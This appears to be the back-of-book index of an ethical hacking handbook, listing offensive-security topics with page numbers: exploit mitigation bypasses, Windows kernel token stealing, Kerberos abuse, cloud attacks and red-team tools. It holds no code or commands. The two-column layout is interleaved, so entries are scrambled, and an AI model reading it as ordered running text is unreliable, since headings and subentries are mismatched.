RF (radio frequency). See software-defined RTM (Release To Manufacturing) version of
radio (SDR) patches, 382–383
RFS (root file system) for embedded RTOS (real-time operating system) for
devices, 428 embedded devices, 423
Ridlinghafer, Jarrett, 10 Rubeus tool, 360
ring 0 debuggers, 284 Ruby BlackBag tools, 310
ring-buffer communication in VMBus, Ruler tool, 120
537–538 rules of engagement (ROE) in penetration
ring compression in x86 virtualization, testing, 116
476–477 run-command feature in Azure, 586
RIP run iam__bruteforce_permissions
leaking in PIE bypassing, 230–231 command, 578
overwriting, 220–221, 236 RunningAsLUA function, 386
Ritchie, Dennis, 21 Rust, 292–296
Rodriguez, Jose RVAs (relative virtual addresses) of symbols, 300
contributions, 161
Jupyter notebooks, 191 S
Mordor, 168 S3 buckets in AWS, 569–571, 581
OSSEM project, 176 Safe Structured Exception Handling
threat hunting lab support, 154 (SafeSEH), 272–274
Rodriguez, Roberto Salvati, Marcello, 145
HELK development, 161 SAM (Security Account Manager)
Jupyter notebooks, 191 attack emulation, 181–183
Mordor, 168, 186 hypothesis-driven hunts, 183–185
OSSEM project, 176 obtaining, 177
threat hunting lab support, 154 SAML (Security Assertion Markup Language),
ROE (rules of engagement) in penetration 116, 571
testing, 116 samples per second rates in SDR, 448
roles in Azure, 590–592 SAST (static application security testing), 115
root accounts in AWS, 568
Index
663
Satellite view in Ghidra, 79 Security Information Event Management
saved frame pointer (SFP) (SIEM) devices, 174
PIE bypass, 231 segment registers, 36
stack canaries, 225 segmentation faults for buffer overflows, 202
scanf command, 26 segmentation of memory, 32
scheduled tasks in AWS, 580–583 SEH (Structured Exception Handling),
schedules 270–271
EHCI controller, 547–548 SeLoadDriverPrivilege for kernel drivers, 282
Kubernetes, 624 send_buf function, 494, 496
Schneier, Bruce, 8, 427 send_msg function, 496, 498
Schroeder, Will, 131 serial interfaces
scp module, 261 embedded devices, 411–417
SCP (Secure Copy Protocol), 259 SPI, 416–417
SCRAPE process UART, 411–415
Analyze phase, 454–461 Serial Peripheral Interface (SPI), 416–417
Capture phase, 450–452 serial ports for unikernel, 491
Execute phase, 464 Serial Wire Debug (SWD) protocol, 420–421
introduction, 449 server-side request forgery (SSRF)
Preview phase, 461–463 vulnerability, 573
Replay phase, 452–454 Service Principal Names (SPNs)
Search phase, 449–450 in Kerberos, 360
script block logging, 306 Service Principals in Azure, 587
script loading, 307 ServiceAccount in Kubernetes, 632–634
SDLC (software development life cycle) services in AWS, 568
process, application testing in, 115 sessions command for payload obfuscation, 139
SDProp process, 364 set follow-fork-mode child statement,
SDR. See software-defined radio (SDR) 213, 220
search Set-group identification (SGID), 206
Ghidra, 77 Set-MPPreference command, 322
Shodan. See Shodan search engine Set-user Identification (SUID), 206
Search phase in SCRAPE process, 449–450 setns() function, 608
Seatbelt tool setup_serial function, 492
system recon, 350–351 SFP (saved frame pointer)
user information, 346–348 PIE bypass, 231
Second Level Address Translation (SLAT), stack canaries, 225
482–483 SGID (Set-group identification), 206
SecretAccessKey in AWS, 574 Shacham, Hovav, 274
Secure Copy Protocol (SCP), 259 shadow paging in x86 virtualization, 477–479
Security Account Manager (SAM) shared libraries in Linux, 56
attack emulation, 181–183 SharpBlock tool, 150
hypothesis-driven hunts, 183–185 SharpHound tool, 356–357
obtaining, 177 SharpSploit framework, 141
Security Assertion Markup Language (SAML), SharpUp tool, 358–359
116, 571 shell command, 130
security engineering in MITRE ATT&CK shellcode
framework, 17 local buffer overflows, 207–208
security for containers, 613–615 Nim, 146
Gray Hat Hacking: The Ethical Hacker’s Handbook
664
shellcraft package, 216 smart things, 394
shells, Metasploit, 129–131 SMEP (Supervisor Mode Execution
shells without exploits Protection), bypassing, 241–243
password hash captures, 325–331 snprintf function, 26–27
readings, 342 SoC (System on Chip) for embedded
references, 342 devices, 410
summary, 341–342 sockets
Winexe, 332–333 Docker, 618
WinRM, 338–341 Python, 53
WMI, 334–338 TCP, 127–128
Shodan search engine software-defined radio (SDR)
API, 401–402 buying, 447–449
command-line interface, 400–401 introduction, 446
Internet of Things, 396 readings, 465
MQTT services, 402–404 rules, 449
shortcuts in IDA Pro, 100–101 SCRAPE process. See SCRAPE process
SIDHistory object, abusing, 366–367 summary, 464
SIDs software development life cycle (SDLC)
converting, 355 process, application testing in, 115
domains, 363 software for embedded devices, 421–423
obtaining, 344–346 software-invisible traps in VMMs, 472
SIDT (Store Interrupt Descriptor Table Software Publisher Certificates (SPCs), 286
Register) instruction, 475 Software Reverse Engineering (SRE) tools, 71
SIEFP (Synthetic Interrupt Event Flags Page) software-visible mappings in VMMs, 472–473
MSRs, 528 Sotirov, Alex, 9
SIEM (Security Information Event SOWs (statements of work)
Management) devices, 174 for penetration testing, 114
signatures in C functions, 22 Spark SQL, 190–191, 193–194
SIMP (Synthetic Interrupt Message Page) SPAs (system physical addresses), 477–478, 482
MSRs, 527–528 SPCs (Software Publisher Certificates), 286
simple hypercalls in Hyper-V, 530–531 special registers, 36–37
simplicity property for unikernel, 489 SPFNs (system page frame numbers), 478
SINTx (synthetic interrupt source) register SPI (Serial Peripheral Interface), 416–417
MSRs, 526 SplAddPrinterDriverEx function, 388
6LoWPAN (Internet Protocol version 6 SPNs (Service Principal Names)
over Low-power Wireless Personal Area in Kerberos, 360
Networks), 395 spooling services, 383–388
sizeof() function, 23 SRE (Software Reverse Engineering) tools, 71
skills for purple teams, 123–124 SSRF (server-side request forgery)
SLAT (Second Level Address Translation), vulnerability, 573
482–483 Stack Analyzer, 74
sleep() function, 261–262 stack canaries, defeating, 225–228, 238–241
slow hypercalls in Hyper-V, 529–530 .stack directive in assembly language, 41
small buffers in local buffer overflows, stack pointer in IDA Pro, 103
210–212 Stack section in Immunity Debugger, 253, 257
SMAP (Supervisor Mode Access Prevention), stack section in memory, 33
bypassing, 244–246 StackGuard, 225–228
Index
665
stacks symbols
hypervisors, 488 IDA Pro, 93
Linux exploits, 199–201 SCRAPE process, 456–461
stageless payload generators, 129 SynIC (Synthetic Interrupt Controller)
standard USB requests, 544 MSRs, 526
statements of work (SOWs) for penetration Synopsys report, 6
testing, 114 synthetic interface for Hyper-V, 524–531
static application security testing (SAST), 115 Synthetic Interrupt Controller (SynIC)
static vulnerabilities analysis for embedded MSRs, 526
devices, 427–435 Synthetic Interrupt Event Flags Page (SIEFP)
status transactions for USB devices, 544 MSRs, 528
STIX (Structured Threat Information Synthetic Interrupt Message Page (SIMP)
Expression) language, 15 MSRs, 527–528
storage, container, 608–611 synthetic interrupt source (SINTx)
Store Interrupt Descriptor Table Register register MSRs, 526
(SIDT) instruction, 475 syscall instruction, 40
strace command, 58–59 Sysdig tools, 636
strcpy() function sysenter instruction, 40
buffer overflows, 204 system assigned identities in Azure, 598–600
C language, 26–27 system calls in assembly language, 40
IDA Pro debugging, 104–106 System Control Panel, 260
Windows kernel drivers, 290 system() function, 222
Windows programs, 255–256, 258 system information in WMI, 334–336
strings system internals in AWS, 580–583
buffer overflows, 201–202 System on Chip (SoC) for embedded
Linux, 57–58, 62–63 devices, 410
memory, 34 system page frame numbers (SPFNs), 478
Python, 46–48 system physical addresses (SPAs), 477–478, 482
strncpy command, 26–27 system recon
Structured Exception Handling (SEH), PowerShell, 348–350
270–271 Seatbelt, 350–351
Structured Threat Information Expression System Service Dispatcher, 282
(STIX) language, 15
sub command, 38 T
subscriptions in Azure, 586 tactics in MITRE ATT&CK framework,
SUID (Set-user Identification), 206 15–16
Supervisor Mode Access Prevention (SMAP), tactics, techniques, and procedures (TTPs),
bypassing, 244–246 118–119
Supervisor Mode Execution Protection tailgating, 119
(SMEP), bypassing, 241–243 target setup in hypervisor case study, 546
supervisor-sensitive CPU instructions, 471 tasks in Covenant, 135
swapgs instruction, 238, 242 TAXII (Trusted Automated Exchange of
SWD (Serial Wire Debug) protocol, 420–421 Intelligence Information) servers, 15
SwitchToFiber function, 144 TCP ports for Kubernetes, 627
symAddr function, 146 Tejeda, Huáscar, 67
symbol tables for C variables, 23 telecommunications, IoT things for, 394
Symbol Tree in Ghidra Code Browser, 75–76 templates in network evasion, 148–149
Gray Hat Hacking: The Ethical Hacker’s Handbook
666
tenants, Azure, 594–595 Ticket Granting Tickets (TGTs), 361
terraform show command, 329 tickets in Kerberos, 360–361
test environment setup for vulnerabilities tiers in USB devices, 542
analysis, 436 time plots in SCRAPE process, 455–456
testing, penetration, 114–117 timing variances in Command and Control, 128
.text directive in assembly language, 41 TLS-based evasion, 147
.text section in memory, 33 Token CRC field in USB packets, 543
text view in IDA Pro, 95 _TOKEN structure, 296
TGSs (Ticket Granting Servers), 360 tokens
TGTs (Ticket Granting Tickets), 361 AWS, 574–575
Thread Information Blocks (TIBs), 270–271 EHCI controller, 548–550
threads in shellcode, 141 Kubernetes, 630–631
threat hunting patch analysis, 545–546
AtomicRedTeam attacker emulation, payload obfuscation, 136–137
181–183 stealing in Windows kernel exploits,
basics, 173 296–297, 300–301
data-driven hunts, 177–180 toolbar in Ghidra Code Browser, 74
description, 173 TP enumeration
hypothesis-driven, 183–186 research framework clients, 502
MITRE ATT&CK framework, 17 unikernel communication, 493–494
Mordor datasets, 186–190 transportation and logistics, IoT things for, 394
normalizing data sources, 175–176 trap-and-emulate VMMs, 471
playbook, 190–194 trigger_overflow method, 552
readings, 195 triggers in hypervisor case study
references, 195–196 developing, 546–552
Spark and Jupyter, 190–194 running, 551–552
summary, 195 triggering, 549–551
types, 174–175 Trusted Automated Exchange of Intelligence
workflow, 175 Information (TAXII) servers, 15
threat hunting labs TTPs (tactics, techniques, and procedures),
description, 152 118–119
DetectionLab, 154–160 turbodiff tool, 374–378
HELK, 161–163 Tuyl, Russel Van, 143
Kibana, 164–167 Type-1 hypervisors, 474–475, 488
Mordor, 168–169 Type-2 hypervisors, 474–475, 488
options, 153–154
readings, 169–170 U
references, 170–171 U-Boot bootloader for embedded devices,
summary, 169 421–422
winlogbeat, 163–164 UAC (User Account Control)
threat simulation and emulation for red teams, bypassing, 319–320
118–120 PowerSploit, 316
ThreatHunterPlaybook, 154 system recon, 351
threats research, 124–125 UART (Universal Asynchronous Receiver-
TIBs (Thread Information Blocks), 270–271 Transmitter) protocol, 411–415
Ticket Granting Servers (TGSs), 360 UDP ports in Kubernetes, 627
Index
667
UEFI (Unified Extensible Firmware Interface) USB system. See Universal Serial Bus
architecture, 523–524 (USB) system
UMIP (User-Mode Instruction Prevention), 475 USBCMD register, 548
unauthenticated access to MQTT services, 404 USBDescString object, 557–558
unauthenticated vulnerability scanning USBDevice structure, 552–556
in red teams, 113 USBPort structure, 560
UNC (Universal Naming Convention) paths User Account Control (UAC)
in PowerShell, 312–313 bypassing, 319–320
Unified Extensible Firmware Interface (UEFI) PowerSploit, 316
architecture, 523–524 system recon, 351
Uniform Resource Identifiers (URIs) user-land debuggers for Windows kernel, 284
in Kubernetes, 627–628 User-Mode Instruction Prevention (UMIP), 475
unikernel User Principal Names (UPNs) in Azure, 595
boot message implementation, 497–499 user-sensitive CPU instructions, 471
booting, 489–492 UserData field in AWS, 579
communication, 489–497 UserDataSwap tool, 580–582
overview, 489 users
request handling, 499–500 Azure accounts, 587
union file system (UnionFS), 608 Azure Active Directory lookups, 594–595
Universal Asynchronous Receiver-Transmitter finding information on, 346–348
(UART) protocol, 411–415 password searches, 359–360
Universal Naming Convention (UNC) recon, 344
paths in PowerShell, 312–313 SIDs, obtaining, 344–346
Universal Serial Bus (USB) system UUIDs (universally unique identifiers), 534
control transfers, 542
endpoints, 542 V
introduction, 542 Vagrant for DetectionLab, 156–157
packets, 543–544 validated vulnerability scanning
patch analysis, 544–546 by red teams, 113
pipes, 542 ValidateObjectAccess function, 388
standard requests, 544 Van Eeckhoutte, Peter, 258, 265
universally unique identifiers (UUIDs), 534 variable-size header hypercalls in Hyper-V, 531
unmanaged tenants in Azure, 595 variables in C language, 23–24
Unrestricted execution policy in VAs (virtual addresses) in x86 virtualization,
PowerShell, 308 477–478
unshare() function, 608 vendor disclosure, 7
update packages for embedded devices, VEs (Virtualization Exceptions), 483
427–432 vfprintf() function, 204
UPNs (User Principal Names) in Azure, 595 VID (Virtualization Infrastructure Driver), 520
URIs (Uniform Resource Identifiers) in VID Notification Dispatcher (VND), 520
Kubernetes, 627–628 virtual addresses (VAs) in x86 virtualization,
usb_desc_get_string function, 557 477–478
usb_desc_string function, 556–557 virtual machine control structure (VMCS),
usb_ehci_realize function, 560 481–482, 488
usb_packet_copy function, 545, 549–553 Virtual Machine Extensions (VMX) instruction
usb_register_port function, 560 set, 480–482
Gray Hat Hacking: The Ethical Hacker’s Handbook
668
virtual machine monitors (VMMs). VMCS (virtual machine control structure),
See hypervisors 481–482, 488
Virtual Machine User Login role in Azure, vmlinux file, 233
591–592 vmmap vuln command, 231
Virtual Machine Worker Process VMMs (virtual machine monitors).
(vmwp.exe), 520 See hypervisors
virtual machines (VMs) VMs. See virtual machines (VMs)
AWS, 586 vmwp.exe (Virtual Machine Worker
generations, 522–524 Process), 520
Hyper-V, 519 VMX (Virtual Machine Extensions)
hypervisors. See hypervisors instruction set, 480–482
ProSSHD server exploitation, 259 VND (VID Notification Dispatcher), 520
Windows kernel debugging, 284–285 volatile RAM, 31–32
Virtual Trust Levels (VTLs) in Hyper-V, 519, VSCs (Virtualization Service Consumers), 520
521–522 VSPs (Virtualization Service Providers), 520
VirtualAlloc function VTLs (Virtual Trust Levels) in Hyper-V, 519,
Go launchers, 144 521–522
ROP chains, 275 vulnerabilities
VirtualBox, 155–156 application diffing, 370
Virtualization Exceptions (VEs), 483 disclosures history, 6–7
Virtualization Infrastructure Driver (VID), 520 penetration testing, 114–117
Virtualization Service Consumers (VSCs), 520 red team scanning for, 112–113
Virtualization Service Providers (VSPs), 520 vulnerabilities analysis for embedded devices
virtualization stacks in hypervisors, 488 dynamic, with emulation, 440–445
VirtualProtect function dynamic, with hardware, 436–440
Go launchers, 144 readings, 446
Nim launchers, 146 references, 446
ROP chains, 276–278 static, 427–435
VM-Enter transitions, 480 summary, 445
VM-Exit transitions VxWorks RTOS, 423
attack surfaces, 488–489
EPTs, 483 W
fuzzers, 514 WAF (web application firewall),
reasons, 482 AWS triggering of, 574
VMCS, 481–482 WaitForSingleObject command, 141–142
VMX, 480–481 Warner, Justin, 131
worker processes, 520 WDK (Windows Driver Kit), 283
VMBus WDM (Windows Driver Model), 286
channels, 534–537 weaponization in Cyber Kill Chain, 12
device listing, 534 wearable items, 394
Hyper-V, 532–538 web, bootstrapping via, 311–313
initiation, 532–533 web application firewall (WAF), AWS
offer requests, 533–534 triggering of, 574
ring-buffer communication, 537–538 web application penetration testing, 115
VMCALL method web interface for Internet of Things, 397–400
hypercall page MSRs, 525 Web Proxy Auto-Discovery protocol, 328–329
x86 virtualization, 480 Wei, Xiao, 541
Index
669
Well-known groups for Active Directory, 346 ProSSHD server, 258–260
wget tool, 138, 140 readings, 280
while loops in C language, 27–28 references, 280
White Hat Bug Bounty Program, 10 return-oriented programming, 274–279
white hat hackers, 4 SafeSEH, 272–274
white space in Python, 52 Structured Exception Handling, 270–271
whoami command summary, 280
Convenant, 135 Windows Hardware Quality Labs (WHQL)
domain information, 352 Release signatures, 286
kernel exploits, 302 Windows kernel exploits
Linux root, 202 debugging, 284–285
PACU, 578 drivers, interacting with, 292–296
privilege identification, 320, 344–346 drivers, obtaining, 286–287
shell user ID, 333 drivers, overview, 282–284
SIDs, 367 drivers, reverse engineering, 287–288
user recon, 344 drivers, target selection, 285–286
WinRM, 339 kernel overview, 281–282
WHQL (Windows Hardware Quality Labs) pointer read/write, 297–298
Release signatures, 286 readings, 302
Wi-Fi, 395 references, 303
Wilhelm, Felix, 618 summary, 302
win32_logonsession class, 334 token stealing, 296–297
WinDbg debugger, 284–285 writing, 298–302
Windows Defender Windows Management Instrumentation (WMI)
kernel exploits, 302 command execution, 337–338
node backdoors, 600 system information, 334–336
PowerSploit, 316 Windows Update tool, 379
system recon, 348 Winexe tool, 332–333
Windows Defender Exploit Guard, 272 winlogbeat, 163–164
Windows Driver Kit (WDK), 283 winPEAS (Privilege Escalation Awesome
Windows Driver Model (WDM), 286 Script) tool, 357–358
Windows exploitation WinRAR utility, 120
attack vectors, 264–266 WinRM tool
compiling programs, 250–252 command execution, 338–341
crashing programs, 255–258 PowerShell Empire launch, 320–321
Data Execution Prevention, 274 threat simulation and emulation, 118–119
debugging programs, 252–254 wireless protocols, 394–395
exploit building, 266–267 WMI Query Language (WQL) queries, 334
exploit debugging, 267–269 WMI (Windows Management
exploit development process, 258 Instrumentation)
instruction pointer, 260–262 command execution, 337–338
introduction, 249–250 system information, 334–336
kernel. See Windows kernel exploits words, memory, 31
memory bypassing, 271–272 worker processes in Hyper-V, 520
offsets, 262–264 workflow in threat hunts, 175
post-exploitation. See post-exploitation in workspace in Ghidra, 72
modern Windows environments worms in Internet of Things, 404–405
Gray Hat Hacking: The Ethical Hacker’s Handbook
670
WPAD server for Responder, 328–329 Y
WQL (WMI Query Language) queries, 334
YAddPrinterDriverEx function, 387
wredir option in Responder, 328
YImpersonateClient function, 386
write_serial function, 492
YIsElevationRequired function, 386–387
writes, pointer, 297–298
Yosifovich, Pavel, 281
X YRestrictDriverInstallationToAdministrators
function, 385–386
x86 virtualization
dynamic binary translation, 476 Z
introduction, 475
Z-Wave protocol, 395
paravirtualization, 479–480
Zatko, Peiter “Mudge,” 5
ring compression, 476–477
Zhang, Ziming, 541
shadow paging, 477–479
Zigbee protocol, 395
XD feature in Data Execution Prevention, 274
zones in Kubernetes, 623
XOR-based encryption, evading, 147
xor command, 38–39
xrefs (cross-references) in IDA Pro, 96–97